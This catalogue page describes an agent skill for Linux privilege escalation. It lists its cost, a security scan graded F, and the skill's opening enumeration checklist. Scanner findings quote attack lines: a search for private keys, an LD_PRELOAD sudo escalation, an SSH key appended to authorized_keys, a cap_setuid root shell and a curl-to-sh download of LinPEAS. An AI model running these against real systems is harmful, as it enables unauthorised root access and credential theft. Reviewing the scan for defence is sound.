linux-privilege-escalation

linux-privilege-escalation is a skill for Claude Code, Codex from DorianGallo/hack-skills-local. It costs 57 tokens per session (3,045 once invoked), scanned F, a copy of linux-privilege-escalation, MIT.

A Linux security playbook for gaining higher permissions from a low-privilege shell, such as becoming the root administrator.

In plain words
What is it for?
It is for authorised penetration testing involving SUID and SGID files, capabilities, scheduled jobs, kernel exploits, configuration errors, containers, and credential files.
Why use it?
It brings together common escalation paths that can be difficult to find during an authorised security assessment.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: positional $N argument.

Not installable: its command points at a path on the author’s own machine, so it runs nowhere else. The line is /home/user/backup.sh:.

Good fit It is for authorised penetration testing involving SUID and SGID files, capabilities, scheduled jobs, kernel exploits, configuration errors, containers, and credential files.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

There is no command for this one: it runs only inside a plugin, and the catalogue could not identify which plugin ships it. The source is linked below.

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for linux-privilege-escalation

README.md
[![agentmods](https://agentmods.dev/badge/skills/doriangallo/hack-skills-local/linux-privilege-escalation.svg)](https://agentmods.dev/skills/doriangallo/hack-skills-local/linux-privilege-escalation)
Your own site
<a href="https://agentmods.dev/skills/doriangallo/hack-skills-local/linux-privilege-escalation"><img src="https://agentmods.dev/badge/skills/doriangallo/hack-skills-local/linux-privilege-escalation.svg" alt="Measured on agentmods" height="20"></a>
Per session 57 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,045 The whole file, excluding the scripts and references it only reads on demand.
Security scan F 6 findings. A grade says what 26 rules found in the file — not that it is safe. ✓ AI security review opus-4-8 · 7 Sept 2026 📄 Read the review Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 33 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high YARA Match · line 28
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
  • high Privilege Escalation · line 69
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 112
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 113
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 216
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 218
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 226
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 318
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 328
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 69
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 134
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 216
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 231
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 237
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 329
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high YARA Match · line 248
    YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).
    Fix: Remove the malware payload or compromised file entirely. Investigate how it entered the skill and audit all other artifacts for additional indicators of compromise.
  • high Privilege Escalation · line 260
    Potential security issue detected. Manual review is recommended.
    Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
  • high Privilege Escalation · line 264
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • medium Privilege Escalation · line 47
    Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
    Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
  • medium Privilege Escalation · line 50
    Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
    Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
How audits are shown
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00057 $0.03045
Opus 5 $0.00028 $0.01522
Sonnet 5 $0.00011 $0.00609
Haiku 4.5 $0.00006 $0.00304

Measured 8d ago against content hash dd8a2d397b5d, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade F, and why

linux-privilege-escalation scanned grade F with 6 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Enumerates the file system for secretshighData exfiltration

Searching home directories for .env, .ssh, .aws or credential files is reconnaissance for credential theft.

find / -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null

Asks for rootmediumPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

sudo LD_PRELOAD=/tmp/pe.so /usr/bin/some_allowed_binary

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

'echo "ssh-rsa AAAA..." >> /mnt/.ssh/authorized_keys'

Downloads and executes remote codehighSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

| **LinPEAS** | Comprehensive enumeration | `curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh \| sh` |

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

| **LinPEAS** | Comprehensive enumeration | `curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh \| sh` |

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

| `cap_setuid` | **Critical** | `python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'` |
Origin

This is a copy

100% identical to linux-privilege-escalation — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/linux-privilege-escalation/SKILL.md · 347 lines

How it starts

The opening of the file, as written. The whole thing — 347 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: Linux Privilege Escalation — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert Linux privesc techniques. Covers enumeration, SUID/SGID, capabilities, cron abuse, kernel exploits, NFS, writable passwd/shadow, LD_PRELOAD, Docker group, and library hijacking. Base models miss subtle escalation paths via capabilities and combined misconfigurations.

Before going deep, consider loading:

Advanced Reference

Also load SUID_CAPABILITIES_TRICKS.md when you need:

  • Top 30 SUID binaries with exact exploitation commands (GTFOBins)
  • Capability-specific exploitation for each dangerous cap
  • Custom SUID binary exploitation methodology

Also load KERNEL_EXPLOITS_CHECKLIST.md when you need:

  • Kernel version → exploit mapping table (DirtyPipe, DirtyCow, OverlayFS, etc.)
  • Exploit compilation tips and cross-compilation notes
  • Kernel exploit stability assessment

1. ENUMERATION CHECKLIST

Run these immediately after landing a shell:

System Info

uname -a                        # Kernel version
cat /etc/os-release             # Distro and version
cat /proc/version               # Kernel compile info
hostname && id && whoami        # Current context

Sudo & SUID/SGID

sudo -l                         # What can we run as root?
find / -perm -4000 -type f 2>/dev/null   # SUID binaries
find / -perm -2000 -type f 2>/dev/null   # SGID binaries
getcap -r / 2>/dev/null         # Files with capabilities

Read the full file on GitHub · 347 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 347 lines · 57 tokens per session scan F dd8a2d397b5d

Subscribe to this mod's changes

linux-privilege-escalation is a skill published in the GitHub repository DorianGallo/hack-skills-local (5 stars, last pushed 3mo ago), licensed MIT. It adds 57 tokens to every session and 3,045 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it F with 6 findings (enumerates the file system for secrets, asks for root, reaches for credential files). It is 100% identical to linux-privilege-escalation, differing in 0 lines, and is treated as a copy.

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